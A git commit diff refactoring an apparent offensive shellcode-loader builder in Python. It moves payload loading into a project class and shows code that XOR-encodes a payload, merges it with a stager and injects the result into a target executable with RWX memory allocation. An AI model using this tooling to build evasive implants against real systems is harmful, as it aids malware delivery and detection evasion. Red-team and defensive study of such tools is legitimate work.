refactor: payload data into project

This commit is contained in:
Dobin
2024-02-16 10:48:35 +00:00
parent 60e5065938
commit 5798c90b9c
3 changed files with 29 additions and 19 deletions
+15 -10
View File
@@ -26,26 +26,31 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath, shellcode_out: FileP
f.write(code)
def merge_loader_payload(shellcode_in: FilePath, shellcode_out: FilePath, payload: FilePath, decoder_style: DecoderStyle):
logger.info("--[ Merge stager: {} + {} -> {}".format(
shellcode_in, project.payload, shellcode_out))
def merge_loader_payload(
shellcode_in: FilePath,
shellcode_out: FilePath,
payload_data: bytes,
decoder_style: DecoderStyle
):
logger.info("--[ Merge stager with payload -> {}".format(
shellcode_out))
with open(shellcode_in, 'rb') as input1:
data_stager = input1.read()
with open(project.payload, 'rb') as input2:
data_payload = input2.read()
if project.decoder_style == DecoderStyle.PLAIN_1:
if decoder_style == DecoderStyle.PLAIN_1:
# Nothing to do
pass
elif project.decoder_style == DecoderStyle.XOR_1:
elif decoder_style == DecoderStyle.XOR_1:
xor_key = 0x42
logger.info("---[ XOR payload with key 0x{:x}".format(xor_key))
data_payload = bytes([byte ^ xor_key for byte in data_payload])
payload_data = bytes([byte ^ xor_key for byte in payload_data])
logger.info("---[ Size: Stager: {} and Payload: {} Sum: {} ".format(
len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
len(data_stager), len(payload_data), len(data_stager)+len(payload_data)))
with open(shellcode_out, 'wb') as output:
data = data_stager + data_payload
# append them
data = data_stager + payload_data
output.write(data)
observer.add_code("final_shellcode", data)
+7 -1
View File
@@ -5,7 +5,8 @@ from defs import *
class Project():
def __init__(self):
# User, generating normally
self.payload: FilePath = ""
self.payload_path: FilePath = ""
self.payload_data: bytes = b""
self.source_style: SourceStyle = SourceStyle.peb_walk
self.alloc_style: AllocStyle = AllocStyle.RWX
@@ -36,4 +37,9 @@ class Project():
self.verify_filename: FilePath = r'C:\Temp\a'
def load_payload(self):
with open(self.payload_path, 'rb') as input2:
self.payload_data = input2.read()
project = Project()
+7 -8
View File
@@ -74,7 +74,7 @@ def main():
project.show_command_output = True
if args.verify:
project.payload = "shellcodes/createfile.bin"
project.payload_path = "shellcodes/createfile.bin"
project.verify = True
project.try_start_final_infected_exe = False
@@ -119,7 +119,7 @@ def main():
if not os.path.isfile(args.shellcode):
logger.info("Could not find: {}".format(args.shellcode))
return
project.payload = args.shellcode
project.payload_path = args.shellcode
if args.inject:
if not os.path.isfile(args.inject):
logger.info("Could not find: {}".format(args.inject))
@@ -137,6 +137,9 @@ def start():
clean_files()
delete_all_files_in_directory("logs/")
# Load our payload
project.load_payload()
# Check: Destination EXE capabilities
project.exe_capabilities = ExeCapabilities([
"GetEnvironmentVariableW",
@@ -163,14 +166,10 @@ def start():
# Compile: C -> ASM
if project.generate_asm_from_c:
# Find payload size
with open(project.payload, 'rb') as input2:
data_payload = input2.read()
payload_length = len(data_payload)
phases.compiler.compile(
c_in = main_c_file,
asm_out = main_asm_file,
payload_len = payload_length,
payload_len = project.payload_length,
exe_capabilities = project.exe_capabilities)
# Assemble: ASM -> Shellcode
@@ -189,7 +188,7 @@ def start():
phases.assembler.merge_loader_payload(
shellcode_in = main_shc_file,
shellcode_out = main_shc_file,
payload = project.payload,
payload_data = project.payload_data,
decoder_style = project.decoder_style)
if project.verify and project.source_style == SourceStyle.peb_walk: